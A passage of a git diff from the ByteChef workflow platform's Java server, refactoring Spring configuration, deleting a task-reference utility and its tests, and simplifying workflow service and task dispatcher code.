 import org.springframework.ai.tool.annotation.ToolParam;
+import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
 import org.springframework.stereotype.Component;
 
 /**
  * @author Marko Kriskovic
  */
 @Component
-@ConditionalOnAiEnabled
+@ConditionalOnProperty(name = "bytechef.mcp.server.enabled", havingValue = "true", matchIfMissing = true)
 public class TaskTools {
 
     private static final Logger logger = LoggerFactory.getLogger(TaskTools.class);
diff --git a/server/libs/atlas/atlas-configuration/atlas-configuration-api/build.gradle.kts b/server/libs/atlas/atlas-configuration/atlas-configuration-api/build.gradle.kts
index 13bf5cafdea..c2669b473ba 100644
--- a/server/libs/atlas/atlas-configuration/atlas-configuration-api/build.gradle.kts
+++ b/server/libs/atlas/atlas-configuration/atlas-configuration-api/build.gradle.kts
@@ -7,6 +7,4 @@ dependencies {
     implementation("org.springframework.data:spring-data-relational")
     implementation("tools.jackson.dataformat:jackson-dataformat-yaml")
     implementation(project(":server:libs:core:commons:commons-util"))
-
-    testImplementation(project(":server:libs:test:test-support"))
 }
diff --git a/server/libs/atlas/atlas-configuration/atlas-configuration-api/src/main/java/com/bytechef/atlas/configuration/util/WorkflowTaskReferenceUtils.java b/server/libs/atlas/atlas-configuration/atlas-configuration-api/src/main/java/com/bytechef/atlas/configuration/util/WorkflowTaskReferenceUtils.java
deleted file mode 100644
index 1b0b5ae3252..00000000000
--- a/server/libs/atlas/atlas-configuration/atlas-configuration-api/src/main/java/com/bytechef/atlas/configuration/util/WorkflowTaskReferenceUtils.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.atlas.configuration.util;
-
-import com.bytechef.atlas.configuration.domain.WorkflowTask;
-import java.util.Collection;
-import java.util.LinkedHashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/**
- * Utility class for extracting output property path references from workflow task parameters.
- *
- * <p>
- * Given a target task name, this utility scans all downstream tasks' parameters for {@code ${taskName.property.path}}
- * expressions and collects the referenced property paths.
- *
- * @author Ivica Cardic
- */
-public class WorkflowTaskReferenceUtils {
-
-    /**
-     * Extracts all output property paths referenced by downstream tasks for the given task name.
-     *
-     * <p>
-     * For example, given task name "accelo_1" and a downstream task with parameter
-     * {@code "${accelo_1.response.lastname}"}, this method returns a set containing {@code "response.lastname"}.
-     *
-     * @param allTasks the complete list of workflow tasks
-     * @param taskName the name of the task whose output references to extract
-     * @return a set of dot-separated property paths referenced by downstream tasks
-     */
-    public static Set<String> extractReferencedOutputPaths(List<WorkflowTask> allTasks, String taskName) {
-        Set<String> referencedPaths = new LinkedHashSet<>();
-        Pattern referencePattern = Pattern.compile("\\$\\{" + Pattern.quote(taskName) + "\\.([^}]+)}");
-        boolean foundTask = false;
-
-        for (WorkflowTask workflowTask : allTasks) {
-            if (!foundTask) {
-                if (taskName.equals(workflowTask.getName())) {
-                    foundTask = true;
-                }
-
-                continue;
-            }
-
-            collectReferencesFromParameters(workflowTask.getParameters(), referencePattern, referencedPaths);
-        }
-
-        return referencedPaths;
-    }
-
-    private static void collectReferencesFromParameters(
-        Map<String, ?> parameters, Pattern referencePattern, Set<String> referencedPaths) {
-
-        for (Map.Entry<String, ?> entry : parameters.entrySet()) {
-            collectReferencesFromValue(entry.getValue(), referencePattern, referencedPaths);
-        }
-    }
-
-    private static void collectReferencesFromValue(
-        Object value, Pattern referencePattern, Set<String> referencedPaths) {
-
-        if (value instanceof String stringValue) {
-            Matcher matcher = referencePattern.matcher(stringValue);
-
-            while (matcher.find()) {
-                referencedPaths.add(matcher.group(1));
-            }
-        } else if (value instanceof Map<?, ?> mapValue) {
-            for (Map.Entry<?, ?> entry : mapValue.entrySet()) {
-                collectReferencesFromValue(entry.getValue(), referencePattern, referencedPaths);
-            }
-        } else if (value instanceof Collection<?> collectionValue) {
-            for (Object item : collectionValue) {
-                collectReferencesFromValue(item, referencePattern, referencedPaths);
-            }
-        }
-    }
-}
diff --git a/server/libs/atlas/atlas-configuration/atlas-configuration-api/src/main/java/com/bytechef/atlas/configuration/workflow/mapper/AbstractWorkflowMapper.java b/server/libs/atlas/atlas-configuration/atlas-configuration-api/src/main/java/com/bytechef/atlas/configuration/workflow/mapper/AbstractWorkflowMapper.java
index a8c1495216e..4051f3d5c9a 100644
--- a/server/libs/atlas/atlas-configuration/atlas-configuration-api/src/main/java/com/bytechef/atlas/configuration/workflow/mapper/AbstractWorkflowMapper.java
+++ b/server/libs/atlas/atlas-configuration/atlas-configuration-api/src/main/java/com/bytechef/atlas/configuration/workflow/mapper/AbstractWorkflowMapper.java
@@ -45,34 +45,21 @@ abstract class AbstractWorkflowMapper implements WorkflowMapper {
 
     private static final Logger logger = LoggerFactory.getLogger(AbstractWorkflowMapper.class);
 
-    private static volatile List<String> additionalWorkflowReservedWords;
-
-    private static List<String> getAdditionalWorkflowReservedWords() {
-        if (additionalWorkflowReservedWords == null) {
-            synchronized (AbstractWorkflowMapper.class) {
-                if (additionalWorkflowReservedWords == null) {
-                    List<String> reservedWords = new ArrayList<>();
-
-                    try {
-                        ServiceLoader<WorkflowReservedWordContributor> serviceLoader = ServiceLoader.load(
-                            WorkflowReservedWordContributor.class,
-                            WorkflowReservedWordContributor.class.getClassLoader());
-
-                        for (WorkflowReservedWordContributor workflowReservedWordContributor : serviceLoader) {
-                            reservedWords.addAll(workflowReservedWordContributor.getReservedWords());
-                        }
-                    } catch (ServiceConfigurationError serviceConfigurationError) {
-                        if (logger.isDebugEnabled()) {
-                            logger.debug(serviceConfigurationError.getMessage(), serviceConfigurationError);
-                        }
-                    }
+    private static final List<String> additionalWorkflowReservedWords = new ArrayList<>();
 
-                    additionalWorkflowReservedWords = reservedWords;
-                }
+    static {
+        try {
+            ServiceLoader<WorkflowReservedWordContributor> serviceLoader = ServiceLoader.load(
+                WorkflowReservedWordContributor.class);
+
+            for (WorkflowReservedWordContributor workflowReservedWordContributor : serviceLoader) {
+                additionalWorkflowReservedWords.addAll(workflowReservedWordContributor.getReservedWords());
+            }
+        } catch (ServiceConfigurationError e) {
+            if (logger.isDebugEnabled()) {
+                logger.debug(e.getMessage(), e);
             }
         }
-
-        return additionalWorkflowReservedWords;
     }
 
     private final Workflow.Format format;
@@ -167,7 +154,7 @@ private void validateReservedWords(Map<String, Object> workflowMap) {
             Assert.isTrue(
                 CollectionUtils.contains(
                     CollectionUtils.concat(
-                        WorkflowConstants.WORKFLOW_DEFINITION_CONSTANTS, getAdditionalWorkflowReservedWords()),
+                        WorkflowConstants.WORKFLOW_DEFINITION_CONSTANTS, additionalWorkflowReservedWords),
                     k),
                 "unknown workflow definition property: " + k);
 
diff --git a/server/libs/atlas/atlas-configuration/atlas-configuration-api/src/test/java/com/bytechef/atlas/configuration/util/WorkflowTaskReferenceUtilsTest.java b/server/libs/atlas/atlas-configuration/atlas-configuration-api/src/test/java/com/bytechef/atlas/configuration/util/WorkflowTaskReferenceUtilsTest.java
deleted file mode 100644
index ae3af40bc47..00000000000
--- a/server/libs/atlas/atlas-configuration/atlas-configuration-api/src/test/java/com/bytechef/atlas/configuration/util/WorkflowTaskReferenceUtilsTest.java
+++ /dev/null
@@ -1,185 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.atlas.configuration.util;
-
-import static org.assertj.core.api.Assertions.assertThat;
-
-import com.bytechef.atlas.configuration.constant.WorkflowConstants;
-import com.bytechef.atlas.configuration.domain.WorkflowTask;
-import com.bytechef.test.extension.ObjectMapperSetupExtension;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.extension.ExtendWith;
-
-/**
- * @author Ivica Cardic
- */
-@ExtendWith(ObjectMapperSetupExtension.class)
-class WorkflowTaskReferenceUtilsTest {
-
-    @Test
-    void testExtractReferencedOutputPathsWithSingleReference() {
-        List<WorkflowTask> tasks = List.of(
-            new WorkflowTask(
-                Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                    WorkflowConstants.PARAMETERS, Map.of())),
-            new WorkflowTask(
-                Map.of(WorkflowConstants.NAME, "activeCampaign_1", WorkflowConstants.TYPE,
-                    "activeCampaign/v1/createContact",
-                    WorkflowConstants.PARAMETERS, Map.of("phone", "${accelo_1.response.lastname}"))));
-
-        Set<String> paths = WorkflowTaskReferenceUtils.extractReferencedOutputPaths(tasks, "accelo_1");
-
-        assertThat(paths).containsExactly("response.lastname");
-    }
-
-    @Test
-    void testExtractReferencedOutputPathsWithMultipleReferences() {
-        List<WorkflowTask> tasks = List.of(
-            new WorkflowTask(
-                Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                    WorkflowConstants.PARAMETERS, Map.of())),
-            new WorkflowTask(
-                Map.of(WorkflowConstants.NAME, "activeCampaign_1", WorkflowConstants.TYPE,
-                    "activeCampaign/v1/createContact",
-                    WorkflowConstants.PARAMETERS,
-                    Map.of("phone", "${accelo_1.response.lastname}", "email", "${accelo_1.meta.more_info}"))));
-
-        Set<String> paths = WorkflowTaskReferenceUtils.extractReferencedOutputPaths(tasks, "accelo_1");
-
-        assertThat(paths).containsExactlyInAnyOrder("response.lastname", "meta.more_info");
-    }
-
-    @Test
-    void testExtractReferencedOutputPathsAcrossMultipleDownstreamTasks() {
-        List<WorkflowTask> tasks = List.of(
-            new WorkflowTask(
-                Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                    WorkflowConstants.PARAMETERS, Map.of())),
-            new WorkflowTask(
-                Map.of(WorkflowConstants.NAME, "activeCampaign_1", WorkflowConstants.TYPE,
-                    "activeCampaign/v1/createContact",
-                    WorkflowConstants.PARAMETERS, Map.of("phone", "${accelo_1.response.lastname}"))),
-            new WorkflowTask(
-                Map.of(WorkflowConstants.NAME, "ahrefs_1", WorkflowConstants.TYPE, "ahrefs/v1/getMetrics",
-                    WorkflowConstants.PARAMETERS, Map.of("date", "${accelo_1.response.firstname}"))));
-
-        Set<String> paths = WorkflowTaskReferenceUtils.extractReferencedOutputPaths(tasks, "accelo_1");
-
-        assertThat(paths).containsExactlyInAnyOrder("response.lastname", "response.firstname");
-    }
-
-    @Test
-    void testExtractReferencedOutputPathsWithNoReferences() {
-        List<WorkflowTask> tasks = List.of(
-            new WorkflowTask(
-                Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                    WorkflowConstants.PARAMETERS, Map.of())),
-            new WorkflowTask(
-                Map.of(WorkflowConstants.NAME, "activeCampaign_1", WorkflowConstants.TYPE,
-                    "activeCampaign/v1/createContact",
-                    WorkflowConstants.PARAMETERS, Map.of("phone", "staticValue"))));
-
-        Set<String> paths = WorkflowTaskReferenceUtils.extractReferencedOutputPaths(tasks, "accelo_1");
-
-        assertThat(paths).isEmpty();
-    }
-
-    @Test
-    void testExtractReferencedOutputPathsIgnoresUpstreamTasks() {
-        List<WorkflowTask> tasks = List.of(
-            new WorkflowTask(
-                Map.of(WorkflowConstants.NAME, "upstream_1", WorkflowConstants.TYPE, "upstream/v1/action",
-                    WorkflowConstants.PARAMETERS, Map.of("ref", "${accelo_1.response.ignored}"))),
-            new WorkflowTask(
-                Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                    WorkflowConstants.PARAMETERS, Map.of())),
-            new WorkflowTask(
-                Map.of(WorkflowConstants.NAME, "downstream_1", WorkflowConstants.TYPE, "downstream/v1/action",
-                    WorkflowConstants.PARAMETERS, Map.of("value", "${accelo_1.data.id}"))));
-
-        Set<String> paths = WorkflowTaskReferenceUtils.extractReferencedOutputPaths(tasks, "accelo_1");
-
-        assertThat(paths).containsExactly("data.id");
-    }
-
-    @Test
-    void testExtractReferencedOutputPathsWithNestedMapParameters() {
-        List<WorkflowTask> tasks = List.of(
-            new WorkflowTask(
-                Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                    WorkflowConstants.PARAMETERS, Map.of())),
-            new WorkflowTask(
-                Map.of(WorkflowConstants.NAME, "activeCampaign_1", WorkflowConstants.TYPE,
-                    "activeCampaign/v1/createContact",
-                    WorkflowConstants.PARAMETERS,
-                    Map.of("contact", Map.of("name", "${accelo_1.response.fullname}")))));
-
-        Set<String> paths = WorkflowTaskReferenceUtils.extractReferencedOutputPaths(tasks, "accelo_1");
-
-        assertThat(paths).containsExactly("response.fullname");
-    }
-
-    @Test
-    void testExtractReferencedOutputPathsWithListParameters() {
-        List<WorkflowTask> tasks = List.of(
-            new WorkflowTask(
-                Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                    WorkflowConstants.PARAMETERS, Map.of())),
-            new WorkflowTask(
-                Map.of(WorkflowConstants.NAME, "activeCampaign_1", WorkflowConstants.TYPE,
-                    "activeCampaign/v1/createContact",
-                    WorkflowConstants.PARAMETERS,
-                    Map.of("tags", List.of("${accelo_1.tags.primary}", "${accelo_1.tags.secondary}")))));
-
-        Set<String> paths = WorkflowTaskReferenceUtils.extractReferencedOutputPaths(tasks, "accelo_1");
-
-        assertThat(paths).containsExactlyInAnyOrder("tags.primary", "tags.secondary");
-    }
-
-    @Test
-    void testExtractReferencedOutputPathsWithLastTask() {
-        List<WorkflowTask> tasks = List.of(
-            new WorkflowTask(
-                Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                    WorkflowConstants.PARAMETERS, Map.of())));
-
-        Set<String> paths = WorkflowTaskReferenceUtils.extractReferencedOutputPaths(tasks, "accelo_1");
-
-        assertThat(paths).isEmpty();
-    }
-
-    @Test
-    void testExtractReferencedOutputPathsIgnoresOtherTaskReferences() {
-        List<WorkflowTask> tasks = List.of(
-            new WorkflowTask(
-                Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                    WorkflowConstants.PARAMETERS, Map.of())),
-            new WorkflowTask(
-                Map.of(WorkflowConstants.NAME, "activeCampaign_1", WorkflowConstants.TYPE,
-                    "activeCampaign/v1/createContact",
-                    WorkflowConstants.PARAMETERS,
-                    Map.of("email", "${activeCampaign_1.contact.email}", "phone",
-                        "${accelo_1.response.phone}"))));
-
-        Set<String> paths = WorkflowTaskReferenceUtils.extractReferencedOutputPaths(tasks, "accelo_1");
-
-        assertThat(paths).containsExactly("response.phone");
-    }
-}
diff --git a/server/libs/atlas/atlas-configuration/atlas-configuration-repository/atlas-configuration-repository-git/src/main/java/com/bytechef/atlas/configuration/repository/git/operations/JGitWorkflowOperations.java b/server/libs/atlas/atlas-configuration/atlas-configuration-repository/atlas-configuration-repository-git/src/main/java/com/bytechef/atlas/configuration/repository/git/operations/JGitWorkflowOperations.java
index f26773eadd1..afbdf4a833b 100644
--- a/server/libs/atlas/atlas-configuration/atlas-configuration-repository/atlas-configuration-repository-git/src/main/java/com/bytechef/atlas/configuration/repository/git/operations/JGitWorkflowOperations.java
+++ b/server/libs/atlas/atlas-configuration/atlas-configuration-repository/atlas-configuration-repository-git/src/main/java/com/bytechef/atlas/configuration/repository/git/operations/JGitWorkflowOperations.java
@@ -154,14 +154,8 @@ public List<String> getRemoteBranches() {
         }
     }
 
-    /**
-     * Security Note: PATH_TRAVERSAL_IN - Path traversal is intentional. Paths are derived from Git repository contents,
-     * not external user input. Access is controlled through Git authentication credentials.
-     */
     @Override
-    @SuppressFBWarnings({
-        "REC_CATCH_EXCEPTION", "PATH_TRAVERSAL_IN"
-    })
+    @SuppressFBWarnings("REC_CATCH_EXCEPTION")
     public String write(List<WorkflowResource> workflowResources, String commitMessage) {
         ReentrantLock lock = getTenantLock();
         try {
@@ -352,11 +346,6 @@ private WorkflowResource readBlob(Repository repository, String path, String blo
         }
     }
 
-    /**
-     * Security Note: PATH_TRAVERSAL_IN - Repository directory is created in a system temp location with a generated
-     * name, not user-controlled paths.
-     */
-    @SuppressFBWarnings("PATH_TRAVERSAL_IN")
     private void clear() {
         if (repositoryDir != null) {
             org.springframework.util.FileSystemUtils.deleteRecursively(repositoryDir);
@@ -366,7 +355,6 @@ private void clear() {
 
         try {
             String tenantKey = TenantCacheKeyUtils.getKey("git");
-
             path = Files.createTempDirectory("jgit_" + tenantKey + "_");
         } catch (IOException e) {
             throw new RuntimeException(e);
diff --git a/server/libs/atlas/atlas-configuration/atlas-configuration-repository/atlas-configuration-repository-jdbc/src/main/java/com/bytechef/atlas/configuration/repository/jdbc/config/AtlasConfigurationJdbcRepositoryConfiguration.java b/server/libs/atlas/atlas-configuration/atlas-configuration-repository/atlas-configuration-repository-jdbc/src/main/java/com/bytechef/atlas/configuration/repository/jdbc/config/AtlasConfigurationJdbcRepositoryConfiguration.java
deleted file mode 100644
index 00764e78dc9..00000000000
--- a/server/libs/atlas/atlas-configuration/atlas-configuration-repository/atlas-configuration-repository-jdbc/src/main/java/com/bytechef/atlas/configuration/repository/jdbc/config/AtlasConfigurationJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.atlas.configuration.repository.jdbc.config;
-
-import com.bytechef.atlas.configuration.repository.jdbc.callback.WorkflowCallback;
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.context.annotation.Import;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.atlas.configuration.repository.jdbc")
-@Import(WorkflowCallback.class)
-class AtlasConfigurationJdbcRepositoryConfiguration {
-}
diff --git a/server/libs/atlas/atlas-configuration/atlas-configuration-repository/atlas-configuration-repository-jdbc/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/libs/atlas/atlas-configuration/atlas-configuration-repository/atlas-configuration-repository-jdbc/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index 4f76ba285ba..00000000000
--- a/server/libs/atlas/atlas-configuration/atlas-configuration-repository/atlas-configuration-repository-jdbc/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.atlas.configuration.repository.jdbc.config.AtlasConfigurationJdbcRepositoryConfiguration
diff --git a/server/libs/atlas/atlas-configuration/atlas-configuration-repository/atlas-configuration-repository-jdbc/src/test/java/com/bytechef/atlas/configuration/repository/jdbc/JdbcWorkflowRepositoryIntTest.java b/server/libs/atlas/atlas-configuration/atlas-configuration-repository/atlas-configuration-repository-jdbc/src/test/java/com/bytechef/atlas/configuration/repository/jdbc/JdbcWorkflowRepositoryIntTest.java
index f76ace903a1..4cb9f96c5aa 100644
--- a/server/libs/atlas/atlas-configuration/atlas-configuration-repository/atlas-configuration-repository-jdbc/src/test/java/com/bytechef/atlas/configuration/repository/jdbc/JdbcWorkflowRepositoryIntTest.java
+++ b/server/libs/atlas/atlas-configuration/atlas-configuration-repository/atlas-configuration-repository-jdbc/src/test/java/com/bytechef/atlas/configuration/repository/jdbc/JdbcWorkflowRepositoryIntTest.java
@@ -35,12 +35,12 @@
 import org.junit.jupiter.api.Test;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
-import org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration;
 import org.springframework.boot.test.context.SpringBootTest;
 import org.springframework.cache.annotation.EnableCaching;
+import org.springframework.context.annotation.ComponentScan;
 import org.springframework.context.annotation.Configuration;
 import org.springframework.context.annotation.Import;
-import org.springframework.data.jdbc.repository.config.EnableJdbcAuditing;
+import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
 import tools.jackson.databind.ObjectMapper;
 
 /**
@@ -78,12 +78,16 @@ public void testFindById() {
         Assertions.assertEquals(1, CollectionUtils.size(resultWorkflow.getTasks()));
     }
 
-    @EnableAutoConfiguration(exclude = DataJdbcRepositoriesAutoConfiguration.class)
+    @ComponentScan(
+        basePackages = {
+            "com.bytechef.atlas.configuration.repository.jdbc",
+        })
+    @EnableAutoConfiguration
     @EnableCaching
     @Configuration
     public static class WorkflowConfigurationRepositoryIntTestConfiguration {
 
-        @EnableJdbcAuditing(auditorAwareRef = "auditorProvider", dateTimeProviderRef = "auditingDateTimeProvider")
+        @EnableJdbcRepositories(basePackages = "com.bytechef.atlas.configuration.repository.jdbc")
         public static class WorkflowConfigurationIntJdbcTestConfiguration extends AbstractIntTestJdbcConfiguration {
 
             private final ObjectMapper objectMapper;
diff --git a/server/libs/atlas/atlas-configuration/atlas-configuration-service/src/main/java/com/bytechef/atlas/configuration/service/WorkflowServiceImpl.java b/server/libs/atlas/atlas-configuration/atlas-configuration-service/src/main/java/com/bytechef/atlas/configuration/service/WorkflowServiceImpl.java
index 3a908670e1c..1fe2deda5fb 100644
--- a/server/libs/atlas/atlas-configuration/atlas-configuration-service/src/main/java/com/bytechef/atlas/configuration/service/WorkflowServiceImpl.java
+++ b/server/libs/atlas/atlas-configuration/atlas-configuration-service/src/main/java/com/bytechef/atlas/configuration/service/WorkflowServiceImpl.java
@@ -23,8 +23,10 @@
 import com.bytechef.atlas.configuration.repository.WorkflowCrudRepository;
 import com.bytechef.atlas.configuration.repository.WorkflowRepository;
 import com.bytechef.commons.util.CollectionUtils;
+import com.bytechef.commons.util.OptionalUtils;
 import com.bytechef.exception.ConfigurationException;
 import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
+import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
 import java.util.Objects;
@@ -92,8 +94,7 @@ public void delete(String id) {
 
         workflowCrudRepositories
             .stream()
-            .filter(workflowCrudRepository -> workflowCrudRepository.findById(id)
-                .isPresent())
+            .filter(workflowCrudRepository -> OptionalUtils.isPresent(workflowCrudRepository.findById(id)))
             .findFirst()
             .ifPresent(workflowCrudRepository -> workflowCrudRepository.deleteById(id));
     }
@@ -200,12 +201,17 @@ public List<Workflow> getWorkflows() {
     @Override
     @Transactional(readOnly = true)
     public List<Workflow> getWorkflows(List<String> workflowIds) {
-        List<Workflow> workflows = getWorkflows()
-            .stream()
-            .filter(workflow -> workflowIds.contains(workflow.getId()))
-            .toList();
+        List<Workflow> workflows = new ArrayList<>();
+
+        for (String workflowId : workflowIds) {
+            workflows.add(getWorkflow(workflowId));
+        }
 
-        return CollectionUtils.sort(workflows, WorkflowServiceImpl::compare);
+        return CollectionUtils.sort(workflows, (workflow1, workflow2) -> {
+            String label1 = workflow1.getLabel();
+
+            return label1.compareTo(workflow2.getLabel());
+        });
     }
 
     @Override
@@ -275,24 +281,18 @@ public Workflow update(String id, String definition, int version) {
 
         return CollectionUtils.getFirstFilter(
             workflowCrudRepositories,
-            workflowCrudRepository -> workflowCrudRepository.findById(id)
-                .isPresent(),
+            workflowCrudRepository -> OptionalUtils.isPresent(workflowCrudRepository.findById(id)),
             workflowCrudRepository -> update(definition, version, workflow, workflowCrudRepository));
     }
 
-    private static int compare(Workflow workflow1, Workflow workflow2) {
-        String label1 = workflow1.getLabel();
-        String label2 = workflow2.getLabel();
-
-        if (label1 == null && label2 == null) {
-            return 0;
-        } else if (label1 == null) {
+    private static int compare(Workflow a, Workflow b) {
+        if (a.getLabel() == null || b.getLabel() == null) {
             return -1;
-        } else if (label2 == null) {
-            return 1;
         }
 
-        return label1.compareTo(label2);
+        String label = a.getLabel();
+
+        return label.compareTo(b.getLabel());
     }
 
     private static Stream<Workflow> stream(WorkflowRepository workflowRepository) {
diff --git a/server/libs/atlas/atlas-configuration/atlas-configuration-service/src/test/java/com/bytechef/atlas/configuration/service/WorkflowServiceIntTest.java b/server/libs/atlas/atlas-configuration/atlas-configuration-service/src/test/java/com/bytechef/atlas/configuration/service/WorkflowServiceIntTest.java
index 3eeef051fd4..95521f6e65a 100644
--- a/server/libs/atlas/atlas-configuration/atlas-configuration-service/src/test/java/com/bytechef/atlas/configuration/service/WorkflowServiceIntTest.java
+++ b/server/libs/atlas/atlas-configuration/atlas-configuration-service/src/test/java/com/bytechef/atlas/configuration/service/WorkflowServiceIntTest.java
@@ -36,9 +36,10 @@
 import org.springframework.cache.CacheManager;
 import org.springframework.cache.annotation.EnableCaching;
 import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.ComponentScan;
 import org.springframework.context.annotation.Configuration;
 import org.springframework.context.annotation.Import;
-import org.springframework.data.jdbc.repository.config.EnableJdbcAuditing;
+import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
 
 /**
  * @author Ivica Cardic
@@ -115,6 +116,10 @@ private static Workflow getWorkflow() {
         return workflow;
     }
 
+    @ComponentScan(
+        basePackages = {
+            "com.bytechef.atlas.configuration.repository.jdbc"
+        })
     @EnableAutoConfiguration
     @Configuration
     public static class WorkflowConfigurationIntTestConfiguration {
@@ -132,7 +137,7 @@ WorkflowService workflowService(
             return new WorkflowServiceImpl(cacheManager, workflowCrudRepositories, workflowRepositories);
         }
 
-        @EnableJdbcAuditing(auditorAwareRef = "auditorProvider", dateTimeProviderRef = "auditingDateTimeProvider")
+        @EnableJdbcRepositories(basePackages = "com.bytechef.atlas.configuration.repository.jdbc")
         public static class WorkflowIntTestJdbcConfiguration extends AbstractIntTestJdbcConfiguration {
         }
     }
diff --git a/server/libs/atlas/atlas-coordinator/atlas-coordinator-impl/src/main/java/com/bytechef/atlas/coordinator/task/dispatcher/DefaultTaskDispatcher.java b/server/libs/atlas/atlas-coordinator/atlas-coordinator-impl/src/main/java/com/bytechef/atlas/coordinator/task/dispatcher/DefaultTaskDispatcher.java
index 08eafcb57b2..9ca9211051c 100644
--- a/server/libs/atlas/atlas-coordinator/atlas-coordinator-impl/src/main/java/com/bytechef/atlas/coordinator/task/dispatcher/DefaultTaskDispatcher.java
+++ b/server/libs/atlas/atlas-coordinator/atlas-coordinator-impl/src/main/java/com/bytechef/atlas/coordinator/task/dispatcher/DefaultTaskDispatcher.java
@@ -54,12 +54,6 @@ public DefaultTaskDispatcher(
     public void dispatch(TaskExecution taskExecution) {
         taskExecution = preProcess(taskExecution);
 
-        if (taskExecution.getStatus() == TaskExecution.Status.CANCELLED) {
-            logger.debug("Task id={} is not eligible for dispatching", taskExecution.getId());
-
-            return;
-        }
-
         TaskWorkerMessageRoute messageRoute = calculateQueueName(taskExecution);
 
         if (logger.isDebugEnabled()) {
@@ -89,17 +83,20 @@ private TaskWorkerMessageRoute calculateQueueName(Task task) {
     }
 
     private TaskExecution preProcess(TaskExecution taskExecution) {
-        for (TaskDispatcherPreSendProcessor taskDispatcherPreSendProcessor : taskDispatcherPreSendProcessors) {
-            if (taskDispatcherPreSendProcessor.canProcess(taskExecution)) {
+        TaskDispatcherPreSendProcessor taskDispatcherPreSendProcessor = null;
 
-                taskExecution = taskDispatcherPreSendProcessor.process(taskExecution);
+        for (TaskDispatcherPreSendProcessor curTaskDispatcherPreSendProcessor : taskDispatcherPreSendProcessors) {
+            if (curTaskDispatcherPreSendProcessor.canProcess(taskExecution)) {
+                taskDispatcherPreSendProcessor = curTaskDispatcherPreSendProcessor;
 
-                if (taskExecution.getStatus() == TaskExecution.Status.CANCELLED) {
-                    break;
-                }
+                break;
             }
         }
 
+        if (taskDispatcherPreSendProcessor != null) {
+            taskExecution = taskDispatcherPreSendProcessor.process(taskExecution);
+        }
+
         return taskExecution;
     }
 }
diff --git a/server/libs/atlas/atlas-coordinator/atlas-coordinator-impl/src/main/java/com/bytechef/atlas/coordinator/task/dispatcher/StopJobTaskDispatcherPreSendProcessor.java b/server/libs/atlas/atlas-coordinator/atlas-coordinator-impl/src/main/java/com/bytechef/atlas/coordinator/task/dispatcher/StopJobTaskDispatcherPreSendProcessor.java
deleted file mode 100644
index 4bc6d2f1615..00000000000
--- a/server/libs/atlas/atlas-coordinator/atlas-coordinator-impl/src/main/java/com/bytechef/atlas/coordinator/task/dispatcher/StopJobTaskDispatcherPreSendProcessor.java
+++ /dev/null
